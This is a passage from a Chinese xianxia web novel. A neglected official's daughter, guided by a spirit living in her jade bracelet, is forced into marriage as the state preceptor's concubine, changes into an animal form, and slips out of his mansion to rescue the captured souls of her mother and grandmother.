《炮灰女配想要‘出去’》
1. 第一章
“呕~”
胃不受控制地反刍,“呕~呕~”
容月趴在床边吐了半天,没有吐出任何食物,只有酸水混着眼泪,从嘴角往下流:“咳咳......”
头开始一跳一跳刺痛,眼睛好像有层雾迷住,有点看不清。
颤抖的手胡乱抹嘴,朦胧地掀开被子,光脚向房门摇晃着跑。
不稳地跑了两步,房门‘吱呀’一声,从外面打开,刺眼的阳光蓦然出现,照在容月的眼睛里,她不耐地用手挡住,缓了会儿,眼睛里的迷雾散去。
耳边传来沉稳的婆子声音:“小姐,该起了,时辰不等人。”
容月微眯着眼,五个背光人影走进来。
待人走进,她才看清,是一个婆子带四个婢女。
婆子微胖高大,走在前。
四个瘦弱矮小的婢女在后,手里捧着衣服微微弯腰。
头部胀痛感消退,凌乱的思绪回归正规,容月环顾素净的房间,整合梦里和现实的状况,骤然了悟,昨天是奶奶过世一年的忌日,今日父亲就要送她去给别人当妾室。
这个胖婆子,是继母身边的总管,专门送她出嫁的。
容月悄悄攥紧双手,小后腿几步,眸子微微一抬,极力稳住自己颤微的声音:“奶奶忌日刚过,我想再陪她一会儿,其他事,往后推推......”
严肃的婆子:“推不得。”
放在腰间的手轻轻一抬,婢女放下衣物,把床幔拉开挂起。
婆子缓缓上前,褶皱的眉眼微微向下,很是恭敬的给容月行个礼,起身后,眼神犀利,语气坚定,“所有东西都已准备好,老爷和夫人正等着,小姐不要为难老奴。”
“我,我不去。”容月梗着脖子,继续后退。
她的柔弱反应,婆子只是一撇,好似知道会是这个场景,语气平静:“家主的意思,小姐不可违背。”
婆子挥挥手,两个婢女强势扶着她双臂。
“你们做什么?放开!”容月用力甩开婢女的手,双手交叠身前站直,高傲抬首,眼睛却看着地面,“我要先祭拜母亲和奶奶。”说完,向门口疾走。
路过婆子身旁时,只觉头皮一痛:“啊!”被一股强力向后扯,容月捂着后脑勺,随着力道后仰倒地。
婆子摩搓着手,冷着脸低垂眉眼瞧她:“这可由不得您。”
容月瞪大眼睛:“放肆!你,你竟敢,拽我头发!”
婆子微扫那双自以为狠历,岂不知里面全是泪水,显得可怜楚楚的双眼,轻颔首:“夫人说,您最好听话。”她瞥向一旁,四个婢女意会,赶紧上前,按住她,给她套衣服。
容月继续挣扎,婢女们就算被撞的东倒西歪,衣服也穿不上,双手却拽得很紧。
“你们给我放开!”容月涨红着脸。
婆子皱眉,慢条斯理地卷起厚衣服的袖子,“准备的东西给她用上,夫人正等着,别耽搁。”
其中一个婢女转身:“是。”
容月有点慌乱,看看婢女,又看看婆子,声音颤抖:“你们要干什么?”
婆子示意其他几个婢女拉容月起来:“让您安静的东西。”接过婢女送来的一件里衣,走到容月身后。
“我不要穿!”容月惊愫得不停回头看向身后,身体被禁锢着,看不到,“不要!”
婆子把衣服展开,披在她双肩,双手紧紧按住她的肩膀。
正剧烈甩动的容月登时顿住,大大的眼睛瞬间空洞,失去光彩,整个人就像个木偶。
“抬手。”婆子说。
容月乖乖的抬起手,让婆子把身上的衣服穿好。
婆子面无表情,对旁边面带惊异的婢女说:“继续服侍小姐穿衣洗漱。”
婢女们赶紧低下头,喏喏答道:“是。”
衣服一层一层套上,最后是大红色银纹白蝶裙。由于年刚过两个月,天气还有点冷,裙摆和袖口都带有兔毛装饰,兔毛边边还画着不知名的动物头,是背面,有点像幼猫,也有点像幼犬。
婆子带着容月到镜子前:“小姐,请坐好。”
容月呆滞着坐下,婆子开始动手替她梳头。
得益于婆子熟练的手法,容月的婚礼盘发很快盘好,带上婢女递来的头面,插上发簪、钗、步摇。
婢女抬起她的手,想要摘下她手上看着很普通的白玉镯,却死活拽不动。
婆子撇了一眼:“把夫人给的镯子带右手腕上,别误了时辰。”
婢女:“是。”
打扮完成,婆子抓起容月的手,给了一把团扇:“用这个挡住脸。”
容月照做。
婢女打开房门,婆子扶起容月,微微贴近容月耳边:“小姐,走吧。”
婢女在前引路,婆子带着容月跟在后面。
踏出门那一刻,容月的红唇微微轻启,无声呼出一口气,还是到了嫁人这一步。
五年前,母亲忌日的晚上,奶奶给了容月一个镯子,纯白玉,上面雕刻着一只动物,就是容月婚服上那个动物背影,据说这只动物背影是容家祖上传下来,当做图腾,整体看起来有点小孩喜欢的小猫小狗。
容月很珍惜奶奶送的东西,欣喜的立刻戴在手上。
戴上镯子当晚,她做了一个梦,很真实的梦。
梦里,她的父亲在那年的夏季取了新妻子,是个名门望族。第二年的夏季,她的奶奶突发疾病去世,她被交给继母教导,从此悲惨生活开始。
惨的不仅是身体的折磨,还有精神上不停被打击。
走路吃饭的动作达不到继母要求,罚;说话语气不对,罚;内容不对,罚;表情不对,罚……太多太多,生活处处小心翼翼。而这些处罚当中,饿是最轻也是最常用的,打和骂时常都会来一次,尤其是下人的骂更是难听,什么羞辱的话都说,容月的神经一直是紧绷着,连睡觉都会被中途叫醒。
后来,她被继母嫁了出去,嫁给谁不知道,梦断了。
醒来时,容月很懵,梦境里的饿感、痛感那么真实,就像自己经历过一样。
随后,镯子里蹦出来一只小小的、白绒绒的动物,耳朵尖尖,脑袋圆圆,蓬松的尾巴,有点像猫又有点像狗。
它说:‘呀,是个小姑娘啊。’绕一圈,自我介绍,‘我是书中的书灵,你可以叫我,绒绒。你所梦到的内容,就是你这个人物在书中前半段剧情,只要你跟我契约,帮我修复漏洞,或者改变书中人物的命运,就可获得储物镯子里的密宝,改变自己命运,还可以以梦境的方式知道改变后的未来。’
容月恐惧和尖叫着把镯子摘下扔掉,又想到是祖传之物,只能战战兢兢地把镯子捡起,压在箱底,不敢再戴。
可过了一段时间,梦里的事情按时发生,父亲娶了一位高门望族的媳妇,她一来就把府上所有人管理的服服帖帖,还想管教容月,被乡下来的奶奶拦下。
继母被奶奶下了面子,碍于父亲,没有处理奶奶和她,但父亲是冷漠之人,对外展示‘孝心’时才会想起自己的母亲和女儿,其他时候漠不关心,以至于奶奶和她在府上成为透明人,吃住还不如继母身边的下人。
容月怕了,她怕梦里的一切成为现实,怕自己孤苦无依,怕奶奶走后她会遭受非人的精神折磨。
她翻找出镯子,咬牙,再次戴上它,而后,她所认知的一切被颠覆了。
她以为自己只是普通不受宠的官家小姐,只要听她娘的话,老老实实等着,等着不知什么时候回来的未婚夫娶自己就好。
可惜,她不过是书中的炮灰凡人,而他们,男主未婚夫,女主,男配国师,继母,乃至继母身边的下人,都是修行之人,抬抬手指都能捏死她。
容月垂眸,手上的镯子好像呼应她一样,柔和的闪了一下。
她问过绒绒,为什么选择她?它说,你最不认命,能帮它补足书里漏洞,更能改变命运,助它升级。
@
院子寂静,没有府上小姐成婚的喜悦。
婆子带着她走到大院门口,府里的男主人和女主人已经在那等着:“小姐,拜别父母。”
门前没有宾客,只有几个下人在后面站着。
容月透过扇子,望向对面陌生的
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男子,内心波澜不惊,僵硬的行礼,听见他说:“国师不是招摇之人,要求婚礼必须极简,为父不能大办,委屈你了。”
容月面无表情,内心满是嘲讽,她是有婚约的人,不敢大办的人到底是谁?
他继续道:“嫁过去后好好服侍国师,不要像在家里那样闹腾。”
他记忆里闹腾的容月还停留在儿时吧,那时的母亲很康健,还活在父亲是专一不纳妾的好男人假象里,整日和夫君讲孩子可爱闹腾。
懵懂的容月每日很期待父亲的到来,她崇拜父亲,父亲是大官,很厉害的。
等真相揭开,母亲忧伤抑郁,也就一夕间,才五岁的容月乖巧了,能帮母亲做很多事。那时的她也才知道,原来父亲从来没有正眼看过她,母亲死后更是直接把容月扔给了乡下来的奶奶,没有再过问。
崇拜,渴望,山崩地裂,日日夜夜的失望洗刷着,让容月逐渐忘记父亲的长相。
可能,父亲此刻也不知道她长什么样子。
容月僵硬地行完礼没有说话,站着不动。
父亲眉头微凝,旁边的继母紧接着笑说:“我们容月长大了,懂事又漂亮,谁会不喜欢。前几日我看见她举止端庄,已然是大家闺秀,老太太还是很会教导的。”
奶奶是乡下人,她哪里会什么教导,在场的人都知道继母说的就是好听话,男人不在乎,眉头已经松开:“去吧。”
容月眼神虚空,心也空的。扇子朦胧地挡住父亲的脸,让人看不清,也不想看清。
门外所谓的接亲队伍都是府里的人,一顶轿子,两队抬着嫁妆,没有任何热闹氛围,行人路过都好奇看一眼这么安静的婚礼。
管家婆子把她扶到轿子前,小声道:“上轿坐好。”
容月乖乖上去坐好。
“起~轿!”
婚轿刚起,容月的肩上有点重量,微微侧脸,一只白雾几近透明的动物蹲在上面。
它吐一口气,一层薄膜缓缓扩大,罩住容月,奶音响起:‘好啦,你可以随意活动说话。’
“你怎么变成雾状?”容月疑惑。
‘你的修为太低,灵力太少,怕你在梦里会中途醒来,就用我自己的能力帮你续上。’绒绒的声音小了很多,‘第一次嘛,没控制住,续的有点多。’
容月摸摸它脑瓜,微扬嘴角:“谢谢。要不是我……”顿住,嘴角下落,抿唇,右手失落地收回。
抬起左手的扇子,暗暗使劲,扇子没有任何动静,她失神:“整整五年的修行,还是练气初期。”松开手,扇子掉落地上,眼底发酸,喃喃自语,“怎么办,灵力消尽,要等一个多月才恢复,他们能力那么强,娘和奶奶……怎么办……”
容月的娘死后魂魄在三年前被那个女人抓了,奶奶的魂魄在刚死没多久也被抓了。
绒绒的小脑瓜贴在她脸上:‘什么怎么办?要让奶奶活的长,必须要灵力养她,你刚练气初期,就养一个凡人四年,已经很厉害啦,而且这里灵气少的可怜,你都修炼成练气初期,已经非常棒了!’
“可奶奶还是死了,在城外的道观山上,摔下悬崖。”容月捡起团扇,转动,眼神虚空,左手无意识地挠右手,喃喃道,“两年的时间全力修行,催动你这个书灵,还要让你自己搭上灵力。”转头望向窗外的婆子,“连她......都打不过吧。”
注意到容月挠手,绒绒问:‘你还痒?’
容月回神:“抹过止痒的药,能忍。”
绒绒累得趴在她的肩头,‘你梦到了什么?还吐了?说说?’
“你是书灵,不知道吗?”
‘我只知道原本的你会被国师和男主杀了,至于被你改变的未来,不知道。’
“我成了老皇帝的妃子,那老男人死前想亲我,恶心到我了。”容月抬起右只手,甩甩上面的继母给的镯子,“以前我给你看过爱恨情仇的话本,里面有个祸国殃民的妖妃,记得吧?”
‘记得。’
“我就是她。”
轿子停下,落地,跟在外面的管家婆子:“小姐,到了,下轿。”
2. 第二章
大商朝已经存在近八百年,国师府在大商朝建立起前就存在,比皇宫还要早,但外表却比皇宫还要新。
门前没有任何装饰,只门上方有个牌匾,上书‘国师府’,大门是开着的,没有任何人迎接。
一路安安静静、没有仍何喜庆气息的婚队在国师府门口停下,
婚轿子刚落地,门内走出一位身穿天蓝色长袍、头发全部束好的年轻男子,抱拳客气道:“随我来。”
穿着喜庆衣服的冷脸婆子扶着乖巧下轿的容月,对后面抬嫁妆的吩咐:“跟上。”
从正门进入,是大湖,近处假山流水,波光粼粼,远处湖中央,丛丛荷花围绕亭子。
往右,走过一座小桥,沿着主院落再往右走,穿过小巷子,再七拐八拐,到达一处看着非常安静且简练的院落。
年轻男子打开门:“就是这里。大人吩咐,夫人先休息,等大人忙完,自会来看你。”说完,抱拳微微弯腰行礼就离开。
留下的容家众人中,除了还在呆滞中的容月和稳重的婆子,其他人都面面相觑。
他们嘀咕着,送亲队伍不热闹就算了,不拜堂?
大商朝习俗,良妾,也得娶进门,只是新郎不用出来接,其他婚礼都一样。
这......这国师大人怕是很不喜小姐,都这么明显了。要不是衣服看着喜庆,婚队就不是婚队,像是送葬。
婆子什么都没说,带着容月进了院门,下人更不敢说什么,抬着嫁妆跟着进去。
院子很简单,就种了几颗树补充空白,围着个小花园。
打开主屋上了二楼,里面的装饰更是简单,和容月在家住的屋子差不多,简单的桌椅,纱质帘幔,床上是大红被褥。
容月被婆子强按到床上老老实实地坐着,一动不动,手里的扇子举得稳稳的。
婆子弯腰,轻轻抚上容月的嘴唇,塞了一个药丸:“小姐,老实地待着,等国师大人来看你,才能动。老奴就只送你到这,下面靠你自己。”
容月无声坐着。
婆子走出房门,房间里所有下人连忙跟着,只留下容月一人。她在房门口捣鼓一阵,离开。
“好痒。”容月扔掉扇子,先在胳膊上抓,然后伸进衣服里挠挠,“绒绒,后背。”
绒绒来到她后背用雾状触须给她挠挠:‘给你吃了啥?’
“辟谷丹,很奢侈。”
容月把头上珠钗、头面拿下来扔到床上,抓挠手臂,弯着腰,悄悄翻出窗户,透过镂空围栏,观察楼下情况。
院子里的嫁妆箱子胡乱摆放着,下人全部围着婆子,焦急的说着什么。
婆子甩手指指大家伙,除了一个中年妇女,其他人都高兴得扔下手里的东西,在婆子身后排队站好,很规矩地跟着婆子出了院子。
绒绒悠悠开口:‘果然,还留下一个监视的。’
容月翻回屋内,一层一层脱掉身上的婚服,从镯子里拿出一套天蓝色常服换上,把婚服、扔在床上的首饰、扇子都收到镯子里。
只是拽着右手上继母给的镯子时,手都磨红了都没拽下来:“麻烦。”
镯子是一个定时装置,除了本身会扩大人的情绪外,达到触发条件,可以释放实现放进去的药物。
搭配着刚才婆子在门上设置禁制,等国师踏进房门,定时的镯子会注射一种药,会让她在看到国师的第一眼就迷恋上。加上它本身,是一种情绪扩大器,如果容月只是普通人,它会让容月疯狂爱上国师。
容月掏出一张符纸,缠在手镯上。
‘这个符......’
“听话符,也可叫限制符,你给的低级符纸教学玉简中有,对人对物都可以。”
符纸定住容月,是为了保证她看到的第一人是国师。
绒绒不解:‘当时你完全可以不带着它,或者弄碎了,我们直接跑不好吗?’
“跑?别说当时我灵力耗尽跑不了,就算能跑,我母亲和奶奶怎么办?”容月听到大门关闭的声音,大摇大摆走到窗前,院子里已空无一人,“镯子还不能碎,得让她们对我放松警惕,不然,怎么救人?”
院子里没了人,容月翻窗翻橼拦而出,去翻嫁妆箱子。
绒绒好奇:‘你找什么?’
“看看我那‘素未蒙面’的爹给了些什么。”容月使劲打开箱子第一层,皱眉,“怎么只有一个雕塑。”普通的陶瓷。
继续翻看,每个箱子每层都只有一个,都是很普通的东西,对比她爹已经爬到四品大员来说,普通到只用一个月的月利就能全部买了。
“还好我娘死前,把她所有嫁妆都卖了,做成金子藏起来,现在被我藏镯子里。”容月嫌弃地扔掉手里的动西,把箱子恢复原样,嗤笑一声,“靠他,我得饿死。”
身上的痒痒感开始加剧,容月强忍着,翻手拿出小药品,到几粒药丸,扔嘴里,这是大夫开的止痒药。
‘这是你今天第五次吃药,比以前还痒了?’绒绒小‘哼’一声,‘哼,竟然有我书灵不知道的事。’
“别气,你也说了,被改变的未来你也不清楚。就像我,对没改变的未来也不清楚。”容月搓搓抓红的手,“药效越来越短,灵力没恢复好,很难压制。等救了娘和奶奶,我们离开这里,去找传说中的修士问问是什么病。”
绒绒左右晃晃脑袋:‘现在干嘛,我们要走吗?’
“监视我的人是谁?”
‘只是你继母身边的普通人,去隔壁联络感情。’绒绒假模假样变出一本书,翻翻,‘国师大人的夫人可是有十八位之多,你是他第十九位夫人。’
容月蹬着柱子抓紧围栏,翻身进屋,坐回床上打坐。
绒绒外头:‘诶,我们不走吗?’
容月闭上眼:“国师暂时不会来,国师府是安全的。我恢复一下,先摸出国师府,去容府摸个底。”
#
太阳已经看不见,它的余辉却把天边的云朵照得橙黄。
出去很久的中年妇人终于回来,看了眼嫁妆整齐摆着,径直走上二楼,在房门口说了句:“小姐,休息吧。”转身下了楼,去了旁边下人房休息,根本不关心里面到底有没有人。
国师府很大,容月跟着婆子走的时候,就感受到。
等自己穿梭在这些院落的时候,她感觉更深:“为什么国师府内院子这么多?”景色布置也差不多,尤其是容月住的地方,毕竟十九位夫人住在那,更是弯弯绕绕好多路。
国师府除了几个大门,外围设置了阵法,防止外人进入外,还有警示效果,不然她直接翻墙而出,不至于在里面绕圈子。
好不容
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易靠着太阳的余辉辨别方向,避开巡逻,出了院落,又为了避开另一巡逻队伍,进了另外的院落,等再次出来,天色开始渐黑,她也乱了方向,俗称,迷路。
“这是哪?”她胡乱走到一处院落,比自己的院落要豪华的百倍,两层的楼占地很大,门口都有洒扫的人,修为还都是刚练气,里面住的人很可能是国师。
门口洒扫四人与其说是洒扫,不如说是施展法术让地面干净,等灵力用完,再拿起扫帚扫地。
一中年男子说:“我们的法力还是太弱,清尘决只施展几下就没了灵力,修行不够。”
“是啊,我记得侍卫长就可以一个法诀清理整个院落都不停的。”
“我们还是太弱。”
容月躲在一处假山后面,听到他们的对话,颇为疑惑地挠挠脖颈处:“清尘决是最简单的法术,我刚入门就能熟练掌握,院落打扫更是非常轻松,怎么可能还要休息。”
绒绒:‘谁知道呢?我是书灵,只负责把修行内容讲给你听,帮助你修行,至于威力如何,我不是很清楚。’
疑惑一闪而过,容月没有再想这个问题,而是注意到这这座楼后面不远处,一座更高的楼亮起了灯,这座楼应该是国师府最高的。
眼睛一亮,容月问绒绒挠挠手腕:“我有一次奖励是吗?”
‘嗯。你改变奶奶的命,多活了四年,进而改变自己的命运,可以选择一次。’绒绒张嘴,吐出三个物品,‘选吧。手放上去,就能知道它们的功能。’
容月把手挨个放上去感受,三个分别是隐身玉佩、功法玉简、简易聚灵符。
“你怎么知道我需要隐身功法的物件。”容月直接选择玉佩。
所谓隐身,也只是简单的掩盖气息,不是完全的隐身,不过也够用。
绒绒说,‘这是你第一次接受奖励,我私自加了玉佩,后面的奖励你只能在剩下的两个选。’
其实有奖励,容月已经很满足,不会在乎到底是什么,不过有这个玉佩她还是很欢喜,只是有点担心:“我灵力恢复不到两成,能维持隐身多久?”
‘只是低等级法器,不会耗费太多灵力。’
“那就好。”
有了隐身法器,容月没了顾及,跳上围墙,沿着墙边,朝着不远处高楼而去。
她不知道国师府出口在哪个位置,只能站在高处,俯视。
连跳两个院落,很快到了高楼所在。
容月刚跳上院墙三角区,挠着手腕查看里面的防守,心口咯噔一下,快速回身跳下墙角,蹲在草丛里。
绒绒问:‘怎么了?有人发现你了?’
容月慌张地抹起袖子,急切地用手摸,颤声道:“我,我好像长毛了。”
‘嗯?!’
“我脸好痒。”
手碰到脸,立马弹开,容月眼睛瞪大,心跳加速。
摸脸的手颤抖着再次碰到毛线绒,容月猛然吸气,可想到身处的环境,抖动的双唇立马闭合。
‘什么长毛?长啥毛?’绒绒雾状触角疯狂翻书,‘书里没有写啊!’
就在容月不知所措的时候,她的脑袋开始发晕,呼吸急促,眼前景色模糊。
她喃喃自语,“我,真长毛了。”
说完,晕了过去。
‘容月!’
3. 第三章
耳边沙沙的叶子摩擦声,蔚蓝的天空没有一丝白云,清晨的鸟叫很是清脆,阳光已然照射大地。
容月微眯着眼,抬手放置眼前,看到的却是毛绒绒的爪子,眼睛瞬间睁圆。
‘容月,容月,你终于醒了!’
“唔~”容月张嘴想说话,出来的却出不来字,把手,不,现在因该叫爪子,颤巍巍递给绒绒,上面还带着缩小的镯子,“唔唔唔唔,唔,唔唔?”
绒绒慌忙靠近她:‘什么?说人话。’
容月咽口唾沫,四脚站立,视线很低,余光都能看到地上瘫着的衣服,垂下视线,她变成了一只白绒绒的什么东西。
她不敢置信地坐下,支起上半身靠近绒绒,颤抖着,尝试慢慢发音:“怎,么,回事,我,是妖?!”
‘不不不,你是人,能进国师府的,怎么可能是妖呢?’绒绒赶忙拿出小书,拿在手里疯狂翻找,‘书里没说你是妖啊?!’边翻边伸出第三条触须,‘我起誓,书里从没说过你是妖,相信我。’
突然想到某种可能,它顿了下,不确定得小声道:‘除非,你祖上有过妖,加上你修行,可能形象返祖了?’
“返祖?!”容月被它这句话吓得踉跄一下,艰难支起后腿,“我祖先有妖?”想想她还能进国师府,心放下不少,“不对,人怎么能变成动物的形态。”
‘为何不能?动物可以变成人的形态,为何人不能变成妖的形态。只是返祖形态而已,别怕。’绒绒安慰道。
‘现在最要紧的,是离开这里。’国师府除了帮助皇帝长生不老,勘测祸福外,一些妖魔怪鬼怪也是他们管,只要发现不同寻常的妖魔,必定被他们抓住,打死。
“对,走,危险。”她还得救出母亲和奶奶,不能死在这里。
四抓站稳,容月很不习惯。
视线变矮,周围很多的灌木,看不到前方,不过也安全,也没人发现她。
刚抬脚往前走,身体不平衡,一个狗吃屎锄地:“呸呸呸,我,不,会走。”
‘先左前爪,然后右后爪,诶诶诶......’
噗通,容月又摔了:“呸,算,我,来。”和人一样,一左一右的走,顺拐。
“挺,好。”丑是丑了点,胜在能走,容月很满意。
绒绒蹲在她脑袋上,在灌木中向前:‘还好你只是说话慢,要是不会说话,就有点麻烦了。’
“说、话、不难。”容月满不在乎向前走,“什、么、时辰?我、晕、多久?”
‘快要天亮了。’
“?”容月加快速度,有点踉跄,她嫌麻烦,直接兔子跳往前跑。
她不知道方向是去哪,只能找个高处,看看能不能辨别方向。
人上房顶目标大,容易被发现,但小动物上房顶,就方便很多,再利用国师府特有的建筑屋顶,可以把身体挡住,只要跑得快,没人发现。
到了一处墙角,容月抬头,撅腚,起跳,顺着墙的拐角,来回跳,很快上到屋顶,心想:“变小还是有点用。”
快速躲到屋檐后面,贴着走,到另一边,勾着头往外瞧。
她的下面是个湖,远处岸边有假山,看着假山的轮廓,好像之前看过:“那、个、假山。嗯嗯?”
绒绒摇摇头,它没注意过。
“应、该、是。”容月伏低身体,爪下有灵力加持,快速跳过好几个屋顶。
国师府的花园围绕湖而建,不规则圆形,容月想要绕到前面去,得围着屋顶和围墙过去。
连跳好几个屋顶,马上要跳上围墙,一声呵斥:“谁在那?!”
“有东西!”
“给我拿下!”
呵斥声带着凌冽的风,把无知无觉的容月直接掀翻,从屋顶向下滚。
容月赶忙用爪子勾住屋顶边,□□地挂着,那些人的修为都在她之上。
翘着后腿,想要爬上去,就见五个健壮青年一瞬间跳上来,容月连考虑的时间都没有,松开爪子,掉进下面的花丛,往前逃窜。
“统领,好像是动物,有黄有白。”
统领:“搜。应该在附近,它进不去。”
属下猜测:“会不会是妖?反应如此快。”
“没有可能。妖如何进得了国师府?就算进的来也出不去。”
“别废话。”统领皱眉,“散开搜。”抬头看向左边方向,“我搜这边,其他地方,你们仔细。”
“是。”
几人纷纷散开,以容月掉落的点为中心,向周围扩散。
统领食指中指并拢,控制背后的剑出鞘,在周围的花丛灌木中窜行。
不过,刚走没几步,他和剑都停了下来,抬手触摸前方,一道屏障挡在前面,手放在上面摸索着,围着它左右走了段距离,还是没有发现任何东西。
“统领,没有发现。”
“我这边也没有。”
“远看那东西不是很大,应该是躲哪了,我们没找到。”
“怎么可能找不到,我的感官很灵的,应该是跑了。小家伙,还挺快。”
四人发现统领没说话,一直看着前面的结界,好奇问:“统领担心那个小东西进了这里?国师大人的结界,什么东西都进不去。”
统领凝重:“嗯。继续找吧。”
@
容月从屋顶掉落,继续朝着刚才的方向跑:“我、方向、对吗?啊!”说着被脚下一块假山石绊倒后,身体朝前倒,由于是斜坡,惯性使然,身体直接团成球,快速朝前滚。
啪叽,“唔。”容月一个大趴,掉进灌木丛,在平地上摔停,叶子铺满一身。
“嘶~”她赶紧支起身,坐着,甩甩头上的树叶,“又、要、找、方向。”
两耳转动,周围没有声音:“绒,帮、忙。”等了会儿,绒绒没有出现,“绒?绒?”右爪拍拍左爪上的镯子,“出、来。”
喊了半天,没有动静。
容月身后的尾巴拍了两下地,满心疑惑间,她从灌木中伸出头,想要先观察四周,刚露出眼睛,立马被场景吓得缩回去,趴在地上,大气不敢喘。
她的前方,大大的,冒着热气的,温泉池子里,卧着一条巨大的蛇形动物,脸上有龙须,却没有龙角。
为什么国师府会有妖?乌鱼吗?长这么大?有爪子吗?刚才没注意。
容月胡思乱想着,不敢再叫绒绒出来,怕被听到。
她提心吊胆得等了一会儿,耳边没有任何声音,看来怪物没被吵醒,也没有发现她。
容月试着匍匐前行一段,没有发出声响,小口小口把憋着的气呼出来。可能是憋屈久了,她感觉视线有点朦胧感,甩甩
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头,眨眨眼,好一点,继续往前匍匐。
不管方向是哪边,只要绕着圈走,总会绕道门的方向。
每走一段距离,容月都停下,耳朵动动,听听声音,没有动静就甩头,眨眼,继续前进。
只是不知道为什么,眼睛的雾气好像加重,后面不管怎么甩头眨眼都没用,她的心跳也开始加速,喘气声有点憋不住了。
“呼呼~”容月再次停下,头枕在前爪上,闭着眼喘息。感觉身上有点痒痒,又有点烦躁,又有点懒洋洋的,找具体地方又不知道是哪,她用头蹭蹭爪子,又用爪子挠挠耳朵,拍拍脸,“走,走。”
刚支起爪子,只听‘哗啦’一声,容月立刻精神,是水的声音,她立刻贴着地面,一动不动。
耳朵向后折起,心跳加速,呼吸加快,却不敢大声,眼前雾蒙蒙感再次加重,模糊看不清,脑袋也晕晕感。
“雅儿?”
低沉,沙哑,带点温润的声音强势地钻入容月的耳朵里,直入大脑,宛如带电一般,穿过身体,舒服得让容月不禁发出声音:“嗯......”
声音带有妩媚的意味,让容月陡然清醒,眼前的爪子不在,变成了雪白的人手,她一惊,想起之前变成动物时衣服散落地上,此时的她是裸体的!
容月慌忙半撑起软弱无力的身体,拿出储物戒里的里衣往身上套,回身望去,黑色里衣,裸露腹肌的高大男人站在自己后面。
她一只手拢着衣服,一只手撑着往后,强忍着身体不适,沉声道:“你要干什么?”
“雅儿,是你吗?”
不知是不是容月感官下降,男子的声音怎么带着点缠绵意味。
“不,不是。”容月吃力站起身,踉跄着扶墙,转身继续往前,她要快点离开这里,这个男人给她的感觉太危险,寒毛都竖起来。
踉跄几步,手臂被身后男人一拽,转个圈,抱个满怀。
男人弯着腰,轻轻嗅着容月的耳后,低沉的声音带着笑意:“是你。”
贴着滚烫又硬邦邦的身体,容月原本就迷糊的脑袋,更迷糊,手不自觉摸上腹肌,来回几下,她甩头,清醒一会儿,惊恐推拒,碰到滚烫身体又迷糊了,再惊愫,再拒绝,再迷糊,这么来回几次,在男人开心、惊喜的拥抱中,容月沉沦了。
“雅儿,刚有你的消息,你就找到了我。”男人的声音带着强忍的欲望,骨节分明的手紧紧扣住容月的肩膀,犹如一道绚烂的风景。
男人灼热的呼吸刺激耳畔,容月情不自禁地蹭蹭他,得到了男人轻吻耳后的回应。
耳后的触碰,像是有股电流,流转在二人之间,让容月不由自主沉溺其中。
肌肤紧紧相依,温暖之意直达心底,驱散周围的凉意与孤独。
恍然间,容月抬眼,望进男人的眼睛里,那,满是渴望与柔情。
“我……”男人盯着她的唇踌躇着,呢喃着,“可以……”
他们的呼吸逐渐同步,如同和谐的乐章,充满暧昧与默契。
容月忍受不了他的胆怯,拽着他的衣角,踮起脚尖,轻吻上去。
唇齿相触,宽大手掌牢牢困住她,不给她逃跑的机会。
白色与黑色里衣翻飞,在半空落下,池边的亭子纱幔打开又关上。
夜色已然褪去,热烈才刚刚开始。
4. 第四章
听着巡逻队伍的脚步声远去,容月从假山后面出来,连忙跑向对面围墙,右腿却一软,单膝跪地,手连忙扶墙:“呼呼~”
‘你到底发生了什么?’绒绒围着她飘来飘去,‘只眨眼的功夫,怎么感觉既憔悴,又好像吃了什么大补的东西。’
容月红着脸,咬牙切齿:“你不知自己消失过吗?”
‘没有啊,我一直在。’绒绒很天真道:‘转眼的功夫,你就到假山那,好快。’
“......”
绒绒消失的太奇怪,出现的妖物也奇怪,男人更奇怪。国师府比皇城还早,绒绒说过,国师府被修真界最强宗门把控,国师每二十年换一次,能力是宗门内最强的长老,不可能在眼皮底下出现妖物还不发现。
除非,这只妖物是宗门养的。
而那个男人应该是那只妖变的,因为那个......捏......胸,的时候,容月看到他的手背上会有黑色皱巴巴的皮。
‘在想什么?脸这么红?’绒绒好奇地贴近她。
容月假装看墙后靠近门的地方有没有人守着,躲开绒绒:“没想什么,只考虑怎么出去。”
对于刚才发生的事,容月没有怨恨对方。虽然是对方先抱的她,容月却很清楚,是她自己身体出现了问题,扑了上去。
过程中清醒的那一次所看到的眼神很疯狂,但里面有挣扎,有克制,容月选择忽略了它。
甚至,到了后面,男人想走,她还......把人,拽回来......
‘我瞅瞅这个门是不是有什么结界。’绒绒又搬出小书在那翻,看了会儿没找到,‘哎呀,直接出去试试......诶?’
容月在它啰嗦间,发现门口没有人守卫,已经快速出去,沿着墙边往路口走。
‘都出来了,还问我干嘛。’绒绒撅嘴。
没有仍何阻碍就能离开国师府,容月诧异地不断回头,总以为马上就会有人来抓她。
等走到路口尽头拐弯处,还是没人从国师府出来抓她,容月只疑惑片刻,立刻转头离开。
出来的门和之前穿婚服进去的门是同一个,都是国师府的南门,处在偏僻的巷子里,和高官大户是邻居,偶尔会看到几个下人穿着的行人。
容月按照自己坐轿子的感觉,反向往回走。
她是有点路痴,但只要走过一遍,就能记住路线,按照路线准确的走。不过,路线上要是有混淆视线的东西,她立马又会出错。
走出高官聚集的安静东坊,过了中间大路,到了西坊,路上行人明显多了起来,各种小吃摊位已经摆满,摊位上吃饭的人很多,毕竟是中午时分,正是进城给管家干重活人休息的时候。
容月整理下与国师府内人员同色系男士服装,扶一扶随手挽起的简单发髻,一看就是哪家小姐女扮男装出来慢慢晃悠着玩的,都城内太多这么打扮。
容府就在西市,为了防止被认出来,只能变装慢慢走,急匆匆反而引人注意。
“今日就是发工钱的日子,希望三皇子看在我们使劲的份上,多给点赏钱。”
“赏钱?我看悬了。听说,三皇子为了炼丹,又买了很多材料,花了大笔的黄金,这次的赏钱可能要泡汤。”
“材料?嘿嘿嘿,不会还会有之前看到的那些炼丹童子童女吧?我说啊,三皇子不会是借着炼丹,那个啥......”
皇帝喜欢炼丹,导致商朝上层官员和大富人家都会跟随炼丹。根据她的好友李从梦说,丹药在修真界来说都是稀罕物,炼制时灵力耗损大,材料也消耗多,根本就不够修士用,不可能大量流通到世俗界。
所以,大部分人炼的丹药没有效果,很多还在里面加了不该加的东西,吃了会让人迷失心智,甚至,入魔。
不过,加了料的丹药也贵,不是一般人能得倒,也就皇室有能力。
就比如,梦里吃了丹药变得人不人鬼不鬼的老皇帝。
路过容府所在的路口,容月直接路过,出了城门,去了城外。
城门口不远处,有一个大爷坐在一颗大树下,悠闲的抽着烟。
看到容月出来,悠然起身,拽着毛驴车转个方向,很是熟悉的口吻:“小姑娘,好几天没见着你了。”
“是啊,家里有点忙。”容月给了十文,“老样子。”
